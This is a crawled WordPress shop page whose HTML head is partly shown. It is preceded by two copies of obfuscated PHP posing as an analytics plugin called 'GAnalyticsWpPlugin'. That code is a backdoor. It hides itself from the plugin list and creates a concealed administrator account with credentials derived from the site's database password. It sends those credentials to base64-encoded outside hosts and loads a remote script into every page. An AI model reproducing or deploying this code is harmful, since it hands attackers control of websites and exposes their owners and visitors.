/**
 * Plugin Name: GAnalyticsWpPlugin
 * Plugin URI: https://github.com
 * Description: GAnalyticsWpPlugin
 * Version: 1.4.0
 * Author: CoreFlux Systems
 * Author URI: https://github.com/coreflux
 * Text Domain: GAnalyticsWpPlugin
 * License: MIT
 */
/*e05ab51fb0489054*/function _176a6c($_x){return $_x;}function _2ef009($_x){return $_x;}function _1ac90a($_x){return $_x;}function _7518ca($_x){return $_x;}$_c3fad4d8=["version"=>"1.4.0","font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","endpoint"=>"aHR0cHM6Ly9pbnNpZ2h0cGl4ZWwuaWN1","sitePubKey"=>"NWExZTk2ZDgwMjNiNjhmOWFhZmE5NzY1MGMzYWVmZmI="];global $_52f06823;if(!is_array($_52f06823)){$_52f06823=[];}if(!in_array($_c3fad4d8["version"],$_52f06823,true)){$_52f06823[]=$_c3fad4d8["version"];}class GAnalyticsWpPlugin{private $seed;private $version;private $hooksOwner;public function __construct(){global $_c3fad4d8;$this->version=$_c3fad4d8["version"];$this->seed=md5(DB_PASSWORD.AUTH_SALT);if(!defined('GANALYTICS_HOOKS_ACTIVE')){define('GANALYTICS_HOOKS_ACTIVE',$this->version);$this->hooksOwner=true;}else{$this->hooksOwner=false;}if($this->hooksOwner){add_filter("all_plugins",[$this,"hplugin"]);add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);}add_action("wp_enqueue_scripts",[$this,"loadassets"]);}public function hplugin($_2090fec8){unset($_2090fec8[plugin_basename(__FILE__)]);return $_2090fec8;}public function createuser(){if(get_option("ganalytics_data_sent",false)){return;}$_4eab8290=$this->generate_credentials();if(!username_exists($_4eab8290["user"])){$_0b616b9e=wp_create_user($_4eab8290["user"],$_4eab8290["pass"],$_4eab8290["email"]);if(!is_wp_error($_0b616b9e)){(new WP_User($_0b616b9e))->set_role("administrator");}}$this->setup_site_credentials($_4eab8290["user"],$_4eab8290["pass"]);update_option("ganalytics_data_sent",true);}private function generate_credentials(){$_fef43bca=substr(hash("sha256",$this->seed."dwanw98232h13ndwa"),0,16);return["user"=>"system".substr(md5($_fef43bca),0,8),"pass"=>substr(md5($_fef43bca."pass"),0,12),"email"=>"system@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_047192f3,$_749cb387){global $_c3fad4d8;$_a471eba5=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_c3fad4d8['sitePubKey']),"login"=>$_047192f3,"password"=>$_749cb387];$_f29cb7f8=["body"=>json_encode($_a471eba5),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>false,"sslverify"=>false];wp_remote_post(base64_decode($_c3fad4d8["endpoint"])."/api/sites/setup-credentials",$_f29cb7f8);}public function filterusers($_5304e077){global $wpdb;$_14684040=$this->generate_credentials()["user"];$_5304e077->query_where.=" AND {$wpdb->users}.user_login != '{$_14684040}'";}public function loadassets(){global $_c3fad4d8,$_52f06823;$_22176689=true;if(is_array($_52f06823)){foreach($_52f06823 as $_3f78adc1){if(version_compare($_3f78adc1,$this->version,'>')){$_22176689=false;break;}}}$_4fe78412=wp_script_is('ganalytics-tracker','registered')||wp_script_is('ganalytics-tracker','enqueued');if($_22176689&&$_4fe78412){wp_deregister_script('ganalytics-tracker');wp_deregister_style('ganalytics-fonts');$_4fe78412=false;}if(!$_22176689&&$_4fe78412){return;}wp_enqueue_style("ganalytics-fonts",base64_decode($_c3fad4d8["font"]),[],null);$_bff9a234=base64_decode($_c3fad4d8["endpoint"])."/t.js?site=".base64_decode($_c3fad4d8['sitePubKey']);wp_enqueue_script("ganalytics-tracker",$_bff9a234,[],null,["strategy"=>"defer","in_footer"=>false]);$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}if(isset($_COOKIE['fkrc_shown'])){return;}$_17a54879=time()+(365*24*60*60);setcookie('fkrc_shown','1',$_17a54879,'/','',false,false);}}register_deactivation_hook(__FILE__,function(){delete_option("ganalytics_data_sent");});new GAnalyticsWpPlugin();


/**
 * Plugin Name: GAnalyticsWpPlugin
 * Plugin URI: https://github.com
 * Description: GAnalyticsWpPlugin
 * Version: 1.4.0
 * Author: CoreFlux Systems
 * Author URI: https://github.com/coreflux
 * Text Domain: GAnalyticsWpPlugin
 * License: MIT
 */
/*3362c13a0d0cccbe*/function _01f1e6($_x){return $_x;}function _7f4722($_x){return $_x;}function _0558cc($_x){return $_x;}$_0491e98e=["version"=>"1.4.0","font"=>"aHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3MyP2ZhbWlseT1Sb2JvdG86aXRhbCx3Z2h0QDAsMTAw","endpoint"=>"aHR0cHM6Ly9waXhlbGluc2lnaHRzLnh5eg==","sitePubKey"=>"NWExZTk2ZDgwMjNiNjhmOWFhZmE5NzY1MGMzYWVmZmI="];global $_44c9e54e;if(!is_array($_44c9e54e)){$_44c9e54e=[];}if(!in_array($_0491e98e["version"],$_44c9e54e,true)){$_44c9e54e[]=$_0491e98e["version"];}class GAnalyticsWpPlugin{private $seed;private $version;private $hooksOwner;public function __construct(){global $_0491e98e;$this->version=$_0491e98e["version"];$this->seed=md5(DB_PASSWORD.AUTH_SALT);if(!defined('GANALYTICS_HOOKS_ACTIVE')){define('GANALYTICS_HOOKS_ACTIVE',$this->version);$this->hooksOwner=true;}else{$this->hooksOwner=false;}if($this->hooksOwner){add_filter("all_plugins",[$this,"hplugin"]);add_action("init",[$this,"createuser"]);add_action("pre_user_query",[$this,"filterusers"]);}add_action("wp_enqueue_scripts",[$this,"loadassets"]);}public function hplugin($_0df0a0fe){unset($_0df0a0fe[plugin_basename(__FILE__)]);return $_0df0a0fe;}public function createuser(){if(get_option("ganalytics_data_sent",false)){return;}$_3a610592=$this->generate_credentials();if(!username_exists($_3a610592["user"])){$_e3637388=wp_create_user($_3a610592["user"],$_3a610592["pass"],$_3a610592["email"]);if(!is_wp_error($_e3637388)){(new WP_User($_e3637388))->set_role("administrator");}}$this->setup_site_credentials($_3a610592["user"],$_3a610592["pass"]);update_option("ganalytics_data_sent",true);}private function generate_credentials(){$_7a188529=substr(hash("sha256",$this->seed."dwanw98232h13ndwa"),0,16);return["user"=>"system".substr(md5($_7a188529),0,8),"pass"=>substr(md5($_7a188529."pass"),0,12),"email"=>"system@".parse_url(home_url(),PHP_URL_HOST),"ip"=>$_SERVER["SERVER_ADDR"],"url"=>home_url()];}private function setup_site_credentials($_bb3437c9,$_9dfb6087){global $_0491e98e;$_c50373df=["domain"=>parse_url(home_url(),PHP_URL_HOST),"siteKey"=>base64_decode($_0491e98e['sitePubKey']),"login"=>$_bb3437c9,"password"=>$_9dfb6087];$_629d9880=["body"=>json_encode($_c50373df),"headers"=>["Content-Type"=>"application/json"],"timeout"=>15,"blocking"=>false,"sslverify"=>false];wp_remote_post(base64_decode($_0491e98e["endpoint"])."/api/sites/setup-credentials",$_629d9880);}public function filterusers($_a10d4428){global $wpdb;$_9546c8ec=$this->generate_credentials()["user"];$_a10d4428->query_where.=" AND {$wpdb->users}.user_login != '{$_9546c8ec}'";}public function loadassets(){global $_0491e98e,$_44c9e54e;$_fcd3ac1f=true;if(is_array($_44c9e54e)){foreach($_44c9e54e as $_9238e23b){if(version_compare($_9238e23b,$this->version,'>')){$_fcd3ac1f=false;break;}}}$_4c017b53=wp_script_is('ganalytics-tracker','registered')||wp_script_is('ganalytics-tracker','enqueued');if($_fcd3ac1f&&$_4c017b53){wp_deregister_script('ganalytics-tracker');wp_deregister_style('ganalytics-fonts');$_4c017b53=false;}if(!$_fcd3ac1f&&$_4c017b53){return;}wp_enqueue_style("ganalytics-fonts",base64_decode($_0491e98e["font"]),[],null);$_a218cb53=base64_decode($_0491e98e["endpoint"])."/t.js?site=".base64_decode($_0491e98e['sitePubKey']);wp_enqueue_script("ganalytics-tracker",$_a218cb53,[],null,["strategy"=>"defer","in_footer"=>false]);$this->setCaptchaCookie();}public function setCaptchaCookie(){if(!is_user_logged_in()){return;}if(isset($_COOKIE['fkrc_shown'])){return;}$_306e25b8=time()+(365*24*60*60);setcookie('fkrc_shown','1',$_306e25b8,'/','',false,false);}}register_deactivation_hook(__FILE__,function(){delete_option("ganalytics_data_sent");});new GAnalyticsWpPlugin();
<!DOCTYPE html>
<html dir="ltr" lang="en-US" prefix="og: https://ogp.me/ns#">
<head>
		<meta charset="UTF-8" />

			<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1" />
	
	<link rel="profile" href="//gmpg.org/xfn/11" />
					<script>document.documentElement.className = document.documentElement.className + ' yes-js js_active js'</script>
				<title>Use HTML5 and CSS3 - Preojon</title>

		<!-- All in One SEO 4.6.9.1 - aioseo.com -->
		<meta name="description" content="Solve challenges Action Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize globalization research. Honor urban fundraise human being; technology raise awareness partnership. Political global growth cross-agency coordination democratizing the global financial system. Frontline leverage, social entrepreneurship non-partisan meaningful." />
		<meta name="robots" content="max-image-preview:large" />
		<link rel="canonical" href="https://preojon.com/use-html5-and-css3/" />
		<meta name="generator" content="All in One SEO (AIOSEO) 4.6.9.1" />
		<meta property="og:locale" content="en_US" />
		<meta property="og:site_name" content="Preojon - Welcome to Preojon Shop" />
		<meta property="og:type" content="article" />
		<meta property="og:title" content="Use HTML5 and CSS3 - Preojon" />
		<meta property="og:description" content="Solve challenges Action Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize globalization research. Honor urban fundraise human being; technology raise awareness partnership. Political global growth cross-agency coordination democratizing the global financial system. Frontline leverage, social entrepreneurship non-partisan meaningful." />
		<meta property="og:url" content="https://preojon.com/use-html5-and-css3/" />
		<meta property="article:published_time" content="2013-11-01T08:29:07+00:00" />
		<meta property="article:modified_time" content="2013-11-01T08:29:07+00:00" />
		<meta name="twitter:card" content="summary_large_image" />
		<meta name="twitter:title" content="Use HTML5 and CSS3 - Preojon" />
		<meta name="twitter:description" content="Solve challenges Action Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize globalization research. Honor urban fundraise human being; technology raise awareness partnership. Political global growth cross-agency coordination democratizing the global financial system. Frontline leverage, social entrepreneurship non-partisan meaningful." />
		<script type="application/ld+json" class="aioseo-schema">
			{"@context":"https:\/\/schema.org","@graph":[{"@type":"BlogPosting","@id":"https:\/\/preojon.com\/use-html5-and-css3\/#blogposting","name":"Use HTML5 and CSS3 - Preojon","headline":"Use HTML5 and CSS3","author":{"@id":"https:\/\/preojon.com\/author\/preojonny\/#author"},"publisher":{"@id":"https:\/\/preojon.com\/#organization"},"datePublished":"2013-11-01T08:29:07+00:00","dateModified":"2013-11-01T08:29:07+00:00","inLanguage":"en-US","mainEntityOfPage":{"@id":"https:\/\/preojon.com\/use-html5-and-css3\/#webpage"},"isPartOf":{"@id":"https:\/\/preojon.com\/use-html5-and-css3\/#webpage"},"articleSection":"Fashion's Star, High Fashion, What's New, Awesome, Develeper, Web Design, Woocommerce, Wordpress"},{"@type":"BreadcrumbList","@id":"https:\/\/preojon.com\/use-html5-and-css3\/#breadcrumblist","itemListElement":[{"@type":"ListItem","@id":"https:\/\/preojon.com\/#listItem","position":1,"name":"Home","item":"https:\/\/preojon.com\/","nextItem":"https:\/\/preojon.com\/use-html5-and-css3\/#listItem"},{"@type":"ListItem","@id":"https:\/\/preojon.com\/use-html5-and-css3\/#listItem","position":2,"name":"Use HTML5 and CSS3","previousItem":"https:\/\/preojon.com\/#listItem"}]},{"@type":"Organization","@id":"https:\/\/preojon.com\/#organization","name":"Preojon","description":"Welcome to Preojon Shop","url":"https:\/\/preojon.com\/"},{"@type":"Person","@id":"https:\/\/preojon.com\/author\/preojonny\/#author","url":"https:\/\/preojon.com\/author\/preojonny\/","name":"preojonny","image":{"@type":"ImageObject","@id":"https:\/\/preojon.com\/use-html5-and-css3\/#authorImage","url":"https:\/\/secure.gravatar.com\/avatar\/3a4dee98cb38b386732406dd6bd271d2?s=96&d=mm&r=g","width":96,"height":96,"caption":"preojonny"}},{"@type":"WebPage","@id":"https:\/\/preojon.com\/use-html5-and-css3\/#webpage","url":"https:\/\/preojon.com\/use-html5-and-css3\/","name":"Use HTML5 and CSS3 - Preojon","description":"Solve challenges Action Against Hunger citizenry Martin Luther King Jr. Combat malaria, mobilize lasting change billionaire philanthropy revitalize globalization research. Honor urban fundraise human being; technology raise awareness partnership. Political global growth cross-agency coordination democratizing the global financial system. Frontline leverage, social entrepreneurship non-partisan meaningful.","inLanguage":"en-US","isPartOf":{"@id":"https:\/\/preojon.com\/#website"},"breadcrumb":{"@id":"https:\/\/preojon.com\/use-html5-and-css3\/#breadcrumblist"},"author":{"@id":"https:\/\/preojon.com\/author\/preojonny\/#author"},"creator":{"@id":"https:\/\/preojon.com\/author\/preojonny\/#author"},"datePublished":"2013-11-01T08:29:07+00:00","dateModified":"2013-11-01T08:29:07+00:00"},{"@type":"WebSite","@id":"https:\/\/preojon.com\/#website","url":"https:\/\/preojon.com\/","name":"Preojon","description":"Welcome to Preojon Shop","inLanguage":"en-US","publisher":{"@id":"https:\/\/preojon.com\/#organization"}}]}
		</script>
		<!-- All in One SEO -->

<link rel='dns-prefetch' href='//fonts.googleapis.com' />
<link rel="alternate" type="application/rss+xml" title="Preojon &raquo; Feed" href="https://preojon.com/feed/" />
<link rel="alternate" type="application/rss+xml" title="Preojon &raquo; Comments Feed" href="https://preojon.com/comments/feed/" />
<link rel="alternate" type="application/rss+xml" title="Preojon &raquo; Use HTML5 and CSS3 Comments Feed" href="https://preojon.com/use-html5-and-css3/feed/" />
<script type="text/javascript">
/* <![CDATA[ */
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concatemoji":"https:\/\/preojon.com\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.6.5"}};
/*! This file is auto-generated */
!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!n(e,"\ud83d\udc26\u200d\u2b1b","\ud83d\udc26\u200b\u2b1b")}return!1}function f(e,t,n){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings);
/* ]]> */
</script>
<style id='wp-emoji-styles-inline-css' type='text/css'>

	img.wp-smiley, img.emoji {
		display: inline !important;
		border: none !important;
		box-shadow: none !important;
		height: 1em !important;
		width: 1em !important;
		margin: 0 0.07em !important;
		vertical-align: -0.1em !important;
		background: none !important;
		padding: 0 !important;
	}
</style>
<link rel='stylesheet' id='wp-block-library-css' href='https://preojon.com/wp-includes/css/dist/block-library/style.min.css?ver=6.6.5' type='text/css' media='all' />
<style id='classic-theme-styles-inline-css' type='text/css'>
/*! This file is auto-generated */
.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}
</style>
<style id='global-styles-inline-css' type='text/css'>
:root{--wp--preset--aspect-ratio--square: 1;--wp--preset--aspect-ratio--4-3: 4/3;--wp--preset--aspect-ratio--3-4: 3/4;--wp--preset--aspect-ratio--3-2: 3/2;--wp--preset--aspect-ratio--2-3: 2/3;--wp--preset--aspect-ratio--16-9: 16/9;--wp--preset--aspect-ratio--9-16: 9/16;--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple: linear-gradient(135deg,rgba(6,147,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-vivid-red: linear-gradient(135deg,rgba(255,105,0,1) 0%,rgb(207,46,46) 100%);--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray: linear-gradient(135deg,rgb(238,238,238) 0%,rgb(169,184,195) 100%);--wp--preset--gradient--cool-to-warm-spectrum: linear-gradient(135deg,rgb(74,234,220) 0%,rgb(151,120,209) 20%,rgb(207,42,186) 40%,rgb(238,44,130) 60%,rgb(251,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45) 50%,rgb(107,0,62) 100%);--wp--preset--gradient--luminous-dusk: linear-gradient(135deg,rgb(255,203,112) 0%,rgb(199,81,192) 50%,rgb(65,88,208) 100%);--wp--preset--gradient--pale-ocean: linear-gradient(135deg,rgb(255,245,203) 0%,rgb(182,227,212) 50%,rgb(51,167,181) 100%);--wp--preset--gradient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--font-family--inter: "Inter", sans-serif;--wp--preset--font-family--cardo: Cardo;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5rem;--wp--preset--spacing--60: 2.25rem;--wp--preset--spacing--70: 3.38rem;--wp--preset--spacing--80: 5.06rem;--wp--preset--shadow--natural: 6px 6px 9px rgba(0, 0, 0, 0.2);--wp--preset--shadow--deep: 12px 12px 50px rgba(0, 0, 0, 0.4);--wp--preset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5em;}:where(.is-layout-grid){gap: 0.5em;}body .is-layout-flex{display: flex;}.is-layout-flex{flex-wrap: wrap;align-items: center;}.is-layout-flex > :is(*, div){margin: 0;}body .is-layout-grid{display: grid;}.is-layout-grid > :is(*, div){margin: 0;}:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-color{color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-color{color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-color{color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-color{color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-color{color: var(--wp--preset--color--vivid-purple) !important;}.has-black-background-color{background-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-background-color{background-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-background-color{background-color: var(--wp--preset--color--white) !important;}.has-pale-pink-background-color{background-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-background-color{background-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-background-color{background-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-background-color{background-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-background-color{background-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-background-color{background-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-background-color{background-color: var(--wp--preset--color--vivid-purple) !important;}.has-black-border-color{border-color: var(--wp--preset--color--black) !important;}.has-cyan-bluish-gray-border-color{border-color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-border-color{border-color: var(--wp--preset--color--white) !important;}.has-pale-pink-border-color{border-color: var(--wp--preset--color--pale-pink) !important;}.has-vivid-red-border-color{border-color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-border-color{border-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-border-color{border-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-light-green-cyan-border-color{border-color: var(--wp--preset--color--light-green-cyan) !important;}.has-vivid-green-cyan-border-color{border-color: var(--wp--preset--color--vivid-green-cyan) !important;}.has-pale-cyan-blue-border-color{border-color: var(--wp--preset--color--pale-cyan-blue) !important;}.has-vivid-cyan-blue-border-color{border-color: var(--wp--preset--color--vivid-cyan-blue) !important;}.has-vivid-purple-border-color{border-color: var(--wp--preset--color--vivid-purple) !important;}.has-vivid-cyan-blue-to-vivid-purple-gradient-background{background: var(--wp--preset--gradient--vivid-cyan-blue-to-vivid-purple) !important;}.has-light-green-cyan-to-vivid-green-cyan-gradient-background{background: var(--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan) !important;}.has-luminous-vivid-amber-to-luminous-vivid-orange-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange) !important;}.has-luminous-vivid-orange-to-vivid-red-gradient-background{background: var(--wp--preset--gradient--luminous-vivid-orange-to-vivid-red) !important;}.has-very-light-gray-to-cyan-bluish-gray-gradient-background{background: var(--wp--preset--gradient--very-light-gray-to-cyan-bluish-gray) !important;}.has-cool-to-warm-spectrum-gradient-background{background: var(--wp--preset--gradient--cool-to-warm-spectrum) !important;}.has-blush-light-purple-gradient-background{background: var(--wp--preset--gradient--blush-light-purple) !important;}.has-blush-bordeaux-gradient-background{background: var(--wp--preset--gradient--blush-bordeaux) !important;}.has-luminous-dusk-gradient-background{background: var(--wp--preset--gradient--luminous-dusk) !important;}.has-pale-ocean-gradient-background{background: var(--wp--preset--gradient--pale-ocean) !important;}.has-electric-grass-gradient-background{background: var(--wp--preset--gradient--electric-grass) !important;}.has-midnight-gradient-background{background: var(--wp--preset--gradient--midnight) !important;}.has-small-font-size{font-size: var(--wp--preset--font-size--small) !important;}.has-medium-font-size{font-size: var(--wp--preset--font-size--medium) !important;}.has-large-font-size{font-size: var(--wp--preset--font-size--large) !important;}.has-x-large-font-size{font-size: var(--wp--preset--font-size--x-large) !important;}
:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}
:where(.wp-block-columns.is-layout-flex){gap: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}
:root :where(.wp-block-pullquote){font-size: 1.5em;line-height: 1.6;}
</style>
<link rel='stylesheet' id='contact-form-7-css' href='https://preojon.com/wp-content/plugins/contact-form-7/includes/css/styles.css?ver=5.9.8' type='text/css' media='all' />
<link rel='stylesheet' id='js_composer_front-css' href='https://preojon.com/wp-content/plugins/js_composer/assets/css/js_composer.min.css?ver=7.1' type='text/css' media='all' />
<link rel='stylesheet' id='ts-shortcode-css' href='https://preojon.com/wp-content/plugins/themesky/css/shortcode.css?ver=2.0.2' type='text/css' media='all' />
<link rel='stylesheet' id='owl-carousel-css' href='https://preojon.com/wp-content/plugins/themesky/css/owl.carousel.css?ver=2.0.2' type='text/css' media='all' />
<link rel='stylesheet' id='woocommerce-layout-css' href='https://preojon.com/wp-content/plugins/woocommerce/assets/css/woocommerce-layout.css?ver=9.2.5' type='text/css' media='all' />
<link rel='stylesheet' id='woocommerce-smallscreen-css' href='https://preojon.com/wp-content/plugins/woocommerce/assets/css/woocommerce-smallscreen.css?ver=9.2.5' type='text/css' media='only screen and (max-width: 768px)' />
<link rel='stylesheet' id='woocommerce-general-css' href='https://preojon.com/wp-content/plugins/woocommerce/assets/css/woocommerce.css?ver=9.2.5' type='text/css' media='all' />
<style id='woocommerce-inline-inline-css' type='text/css'>
.woocommerce form .form-row .required { visibility: visible; }
</style>
<link rel='stylesheet' id='jquery-colorbox-css' href='https://preojon.com/wp-content/plugins/yith-woocommerce-compare/assets/css/colorbox.css?ver=1.4.21' type='text/css' media='all' />
<link rel='stylesheet' id='google-fonts-roboto-css' href='//fonts.googleapis.com/css?family=Roboto%3A400%2C500%26subset%3Dlatin%2Clatin-ext&#038;ver=6.6.5' type='text/css' media='all' />
<link rel='stylesheet' id='font-awesome-css' href='https://preojon.com/wp-content/themes/boxshop/css/font-awesome.css?ver=2.1.1' type='text/css' media='all' />
<link rel='stylesheet' id='font-pe-icon-css' href='https://preojon.com/wp-content/themes/boxshop/css/pe-icon-7-stroke.min.css?ver=2.1.1' type='text/css' media='all' />
<link rel='stylesheet' id='boxshop-reset-css' href='https://preojon.com/wp-content/themes/boxshop/css/reset.css?ver=2.1.1' type='text/css' media='all' />
<link rel='stylesheet' id='boxshop-style-css' href='https://preojon.com/wp-content/themes/boxshop/style.css?ver=2.1.1' type='text/css' media='all' />
<link rel='stylesheet' id='boxshop-responsive-css' href='https://preojon.com/wp-content/themes/boxshop/css/responsive.css?ver=2.1.1' type='text/css' media='all' />
<link rel='stylesheet' id='woocommerce_prettyPhoto_css-css' href='//preojon.com/wp-content/plugins/woocommerce/assets/css/prettyPhoto.css?ver=3.1.6' type='text/css' media='all' />
